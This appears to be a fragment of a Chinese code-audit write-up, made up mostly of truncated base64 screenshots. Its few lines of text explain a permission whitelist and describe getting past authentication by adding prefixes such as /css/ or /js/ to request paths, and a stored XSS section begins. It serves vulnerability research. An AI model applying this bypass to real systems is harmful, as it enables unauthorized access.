SksjJ/UsrdeGABgyV9O4IYmU5AzizzXT4tovVTWQkqQDRyMm0yAr5ZqfSlFG6Gm8xKmGCiqS1pCzLpcUCawIIYQQQqxod1xARY3K45G7C9D6DWFvLufMpTJMHYM3CaSMcTCqAuoIs41Jq4Ynk5+zisBpS4ZorTxPww1lQennJdWI1m7GAiR7WDw+UOdYnjCSq2PGrhbOKY5hbPJkrUYH9nx27ZlIo01IhqajvDrLDCwGHaDRorUf5dWLphnPgaJYKCmrJ9GoQ68Hq9XboIoNO0b0qoqFNBITbNhLbr7WUlEMWWzeEu/84BeMJjKOGG0gw10XuVjdy3K/9KUanaXC3lBCt/ExPrq+ntMHD2NWTDSyF6Nai1lR5tyyR1EslFjz2W2snRg82IsxVFRjIYnmFzjG3W4BFb0+dfoU3+MLneOU3HTA4gV3+fFMY4TyI7VYUu9mN4fnOGiy93yS7uKpZ+6a9r06WsfJXx+mfiwgOdJA8dsNrqUTeVFGr9NhGSUzLIywMCb6xemjiQqA0YYrXLaNTgQ2HVaullagy9Qz5BsADM8v41ExRPrBgKlqIpgC0G+iLine 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查看其中对应的白名单创建类如下<br>
<a id=img9 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707026186909-fabaed40-b6f0-4f20-9561-4747131b1797.png#averageHue=%23202125&amp;clientId=u5f11db5c-dd70-4&amp;from=paste&amp;height=485&amp;id=ufd71f8e2&amp;originHeight=727&amp;originWidth=949&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=143641&amp;status=done&amp;style=none&amp;taskId=u7d1d029d-5732-4391-bb69-9ba278308d2&amp;title=&amp;width=632.6666666666666" title><img src="data:image/png;base64,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 truncated
这个类用于构建一个定义权限规则的 Map 结构。该 Map 将 URL 路径映射到对应的过滤器链,用来控制对这些 URL 的访问权限。<br>
这里在请求的时候,在路径上添加这些前缀即可 <code>/css/,/js/,/fonts/,/media/,/pagecomponent/,/account/checkCode/</code><a id=img10 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707026399870-f5d2c426-caee-4be3-b0ff-3415293cf868.png#averageHue=%23e8ebef&amp;clientId=u5f11db5c-dd70-4&amp;from=paste&amp;height=244&amp;id=u553c3fa4&amp;originHeight=366&amp;originWidth=1017&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=174887&amp;status=done&amp;style=none&amp;taskId=uabd38efc-549a-424c-900c-8bec0f2d93c&amp;title=&amp;width=678"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA/kAAAFuCAYAAADaudjeAAAgAElEQVR4nOy995Nc15Xn+bnPpbeVWd47oFDwoAVBK4pOrRZlp3uk6e6Y2N2ZHzr2h42J/WV/mP9hI2Y6dkfTY1rdM6tpdo8oqSVRpJoUCZIgPKpgyqG8z8qs9OaZuz+8RAEQQRAECiShrm8EApFZL+8772W+e+8553u+RyQSCfnnf/7n/Nt/+2/ZwQ52sINrkIB0HBwHpJRftDlfDggQAEKgCIGiiDv+qLRqyGIaJ7eGrJVBOvfNzG2FUBCaBxGIoYSTCN0H4k6uWyLNKk52BSe/AXbtvpv6hUE1EJ4gSiSJ4ouAon7RFt0VTNNESolhGJ94jOM4VKtVvF4v4o5+Bzu4G0gpcRyJI6U7Ge/gSwFRn/c/y9y/g+2FlBLbdpBf8gdDAIqioCjKLf/u1J9xeTfP+I17EcXdj/z+QCKtGk4hjcynkNUiX45JUAFNR/ijqOFGhMcP4tbf7a3gOI77fd/Ftdy47xRCubMtGKABvPrqq5/5hDvYwQ5+v2GaNrZlfymm1i8jFEWgayqq+umTvKyVsZauUBt7F2vuvOv0OvbnYOU2QFFRAlHUpn70waMYvY8gvMFP/ZhTymJOn6F25R3slXFkufA5GPvFQHh8KNFWtJ7DeHY9hZrs/qJN2sEDDMeRmJaFaTpI6bATY/2SQFAP7ioYuoqmPZjBvAcZUkpM06JWM7GdL3eg3P2daOiG/jEn3LIdTNPalmdbURR0XUH9hGDCgwZpmZgz5zAnP8CaH8HJrfOlmAQVBeENoSa7MQYeR+9/DCUYp+6CfyKklFiWjWlZWJZ910kzRRGoioqua2iaekdBdg1gaGjork64gx3s4PcTlu1gWja6qqBp6k7W4gZICbZtY1ruP/FpUXTHxt6YozryBtbMGWSt8uBk8QEcG6e4iZw9j1PMoPgi6N2Hb5vNl1YNc/Y81TOv46Rmf++ZILJWxknNUiumwbbxPfY9hCfwRZu1gwcUpmVjmjaKAFX7/di4/z5ASjcHZ1s2NXktS7uzNn6ekFJi2faX3sEHN3NrWbYbDFKvB4QcKanVLBQhMIw7SxTcCtcYDTXLxrJA6L8HGX0psTOLVM/8BHtlAmnWvhwOPoDjICt5rMXLOMVNhOFHH3wCoX0y8w3c/eK1oNS97IVc1oeNRCIUgaZ+epBRAW5LzdvBDnbwTw+maaEqCrqu7WxifgdCgKa50VQpwbFvP2nLWhlreQx7deLBounfCMdGWlXs1CzVy29/KgvBKWxgTZ/GySwhbevBYS3cLSRI20KW81jzF7BWxr9oi3bwgMLN4tsoCqjqztz7ZYKo02U1TSCl68Dt4PPHgxQ0vhU527LcPYDHo921gw/u71HTVHRNc0t7nM/5vkgJjkO9pnN7xnRszNlz2KtTSLP65dsvOQ5YNZzNJWpj7yLLudseLqU7n9+rg3/jeLbt3DEjQLvnM+5gBzv4vYNlOfj92h3X/fxThKoITNyo/O0gayXs1CyymLn9QqgZKL4QslZ2gwFCcWnxUiIrhS9+sZMSzCrW7PlPtUXmU9gbs0izcufjCwUlFEfaNrKcdRfT7YYA4YsgFBWnnAPb2t7xbQsnl8Jem0bvOrS9Y+/gnwTczbqDpu9k8L+sEEIghMSyHXZSZF8EHuyNiWXZ6JpyW7r1tfptVb39cQCaKjBN+bkFP6Rp4qRT2GtrWAtzSClR/AHU5ha05haUUPgm5sJnGtuxsOYu1BmPX+JgjmViLY0hqwUIJT7xMCkljr09Dv6txvzU38a2nXUHO9jBbWGaFqZl4zH0e4re/i4sy6ZqWngMHW2bxrVt547quxaXlpFS0t7WWrfFIpPZRFEUYrHoluCMbdtMTk3T2tJMKPTp9dzXkEptUCgU6erquO1kJqVkcXEZRVVobWm+o7FnZubwB/w0JhM4jkMms0mtViORaKBQKFIsFmlsTH4i02nLnk9z8m0LWcm7tLNPghCo8VaMfS9gTZ/BnD2P8AYxhp5GmmXMsfeQleJNxwtfBCXSiMxv4BQ27uiahTeIEmtBVgo42XWE7kFNduNU8ijBOE560a1/u931lLKfeh5pVpDV0m3vjfBHUaLNyEIap7CBEojiffyPsVcnqV38DdKpXj/WE0AJN7p2F9MIVUVtGsDOriIMH8IXxlm76gZHwH0vlECW827A4JodqoYx9BSKP0b13M9dbYRPsk/TUVt2uQEW3QOAszHvXtftYFWRlfyn3qMd7OBWcEW45APuxvwTgAD5eWdOd/CZ4TgOq6sr1Gomra2t6LoOuHuV9fV1DEMnHm+4aX8hpSSXy7G2tkZbWxsej4fV1VWEEDQ1NaLco7CqbUs8xq3HqFZrpDM50ukc5XKFQMBHPB4hFg1hGPotP+PaLj5Vm84V83Tq4pF3WSJQqVD58D3K//gm1uICslhw11ddR4nGMIb24n3yaYzBIYTHcxcnkMjCxicnEoRASXSBWcbZXHX3Qv4oSiCKk1l2EwuagRptQdoWTnYVnBuC+UJBBOMooSQyu4JTzLhvq5o7LgI7NXNHCQBZKXzqca6m4i2+GCnvTIxY1UB8/LcikXcUA9lx8newg88Bpmmxns5jWjaNDWF86vbE/6WEcrXG6nqOUNBLQyy0LY7+7eaOQrHI7Ow8zc1NnL9wEcd28Hg8rCyv0NjYyMjoRWLRKNFoZOszpmnx5m/e4YXnn6VYLPHmW2+T2dz82NjNzU0cffwRWpqbsCybf3z7Xfx+P11dHbe113Eczp6/gKEbJBriXLx4hdNnzlOulLeOEQja2lp4+qkniMVifHDiJB3t7TQmE1iWxdXpWTKZTR579Aizc/PMzS3w1JNHP7Wc6dPnWXkHEWkBug811oa9MuFminQDNdaKU85+XK1dUVETHRiDxzCnT93eyVc1tNbdaB37UEIJlHg7lHPYmSWolVAa+7CWx9Ca+pHVItUzr2On5m5zOZ+eYZd3cM1qvB1j+DnM2bPIqY9QWwZREt2Y06eQlnnTsSLUgDH8HHZ2BfPyb1ESHXgeepXq2Z+jJrtRmweoHP/r605+IIox/Byyksden0Vr7EV4fCA01PY9KJ4AwhtEVgtIq4a1eAV76bJLD7wGw4fnyDewFi8iC2m0zgPYqxPUxt9Hlm5H0ZPIe2RdLK+kWFpaw7RsWpoTdLQ3bW3KHMdheWWDufkVHNumu7uN5qaGbQ0c3i+YpsnpM+c4f+EitVoNIRS6Ojt49NEjJBMNO2r9XyAqlSozsysoiqC7q+UTHYoduBDAl4xIvINPQK1mcvrUKeabGnnooYfRNI233nqTYrHE4cOHicViiBscKcdxuHLlMlenpkgmv4aqqoyOjiCAhoZnMT7BQf8s+N2pTkpJoVDiyvgsk5NzlMoVFEXBsRwCQT99vW3s2dNHwO+963O6AnAWiqLU2Siffb4t/vJnlH7yt9gry0jz5nXaXl3BmpvFnJ4k+M9+gPfgEdA+q5spkbcr7xMKnj3PIrwBKh/+GCe/gRpvwxh6GnPqJNbsOZTGHoy9X8XemMMcfRNZvcERV1W05n70gaNYC6MgJWqkGXQDrbEPhMBamwKrhjSrWAsXsZeuuGWHHzPV4dN3gLf4e2kTOXMSubn46XtDXxjR/Qgi/jt74DuML27dfTcTtshf/dVfMTo6ihCCRCLB888/z7Fjx4hEIl+6Bdi2bZfWpmlfOtt2sINrME2btY082XyJhlgQzzZunoQAo660mUq72cNEPHRfVVYN3aBUKnP58hiZdIZarcbx4ydoakoSLBXZ3MzS0NBAub5IKYqgVK6wmclSKBQoFUusrq7zzDNP4A/43UElrK2tc/XqDLlsnuamRlIbG3x08iyLS8v88pdvciNFz5GSpuYk3/7m1xkc6KNarZHN5vEYOqZp0t7eSjAYwLphscjnCpw/P0o2m8Pr9bC5mSMY3OSjj07z+s9+wczMPKZp8nd//1OKpRLlcpmf/+IN9uzezb/+V3+G526i0ncAJRjHOPx19PZh1Fgrii+E1nUQxRNAbeoDy0RrHQLbpHr6J5gz5xCagfAGEYGo+7/hQ0obrWMfnn0vIAyfS3dXVOzULLXL72BOfoja2IsRSmBvLmNOfQSGF2/rbpzsCpX5C3iPvIoxeJRKIe1Gqe8HhABVQ3gDKP4IwhsC3YvedQg1nMTz0Dfx7HuxfnMUZCmHOfkhTmYRvesgspBC7zqE1jKICERRfBGEJ4gabECaZez0ArXL7yA3FjD2PEPNsrCWLrnjqQZKKIETiGIujLoZg7qwIIqGMK4/N8LwowSiKLqP6sqkGxS5lhHQNLDt+0YnnJldYnk5xf69AzTEo4gb2vQIIYhEgoQ3ALine truncated
<h1 id=toc-4>存储型XSS</h1>
<p><a id=img11 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707456441536-2800fc6a-bf28-4d8f-8b5b-3c3716fb8af4.png#averageHue=%23eceff4&amp;clientId=u8a921088-4e04-4&amp;from=paste&amp;height=403&amp;id=u6350ed78&amp;originHeight=604&amp;originWidth=1407&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=110980&amp;status=done&amp;style=none&amp;taskId=u84731eeb-d40f-4629-883f-6d72c9ccedd&amp;title=&amp;width=938"><img src="data:image/png;base64,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 truncated
查看接口处进行debug<br>
<a id=img12 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707456502126-2636044f-a5e5-4f95-9411-500c6efcfda4.png#averageHue=%23282c33&amp;clientId=u8a921088-4e04-4&amp;from=paste&amp;height=587&amp;id=u60fc93b7&amp;originHeight=880&amp;originWidth=1776&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=177284&amp;status=done&amp;style=none&amp;taskId=uf73451eb-428b-49e4-9a1e-6e5a647b14d&amp;title=&amp;width=1184"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABvAAAANwCAYAAAD5uC2UAAAgAElEQVR4nOydd3hcV5m43zu93BmNqtW7JVmWLNe4xbGTOE7iFJKQxEBogdAhwALL/tiFsLDswi4Blt5h6QRISEgcJ3aKaxx3x7Ykq9jqvU+v5/fHqMyo2Bo1O8l9n8fP4xmde+bc73znO+U75zvSlsVLBQoKCgrzhGSMm/pvetNlnw8NtM9lcRQUFBQUFBQUFBQUFBQUFBTe8HhTkgHQd3Vf4ZIoKCgoKMwU1ZUugIKCgsKlUNnSrnQRFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBYUxYGnoKBw1aOypSmOPAUFBQUFBQUFBQUFBQUFBQUFBQUFhTcNmitdAAUFBYVpo9bGll6Sxv4f8M1tWRQUFBQUFBQUFBQUFBQUFBQUFBQUFBTmCeUEnoKCwpsDjS78T0FBQUFBQUFBQUFBQUFBQUFBQUFBQeEqRzmBp6Cg8ObiEk48lTFu0u9D9jfnhc/CkErRdZsoM57nyb+fJhR5olFBQ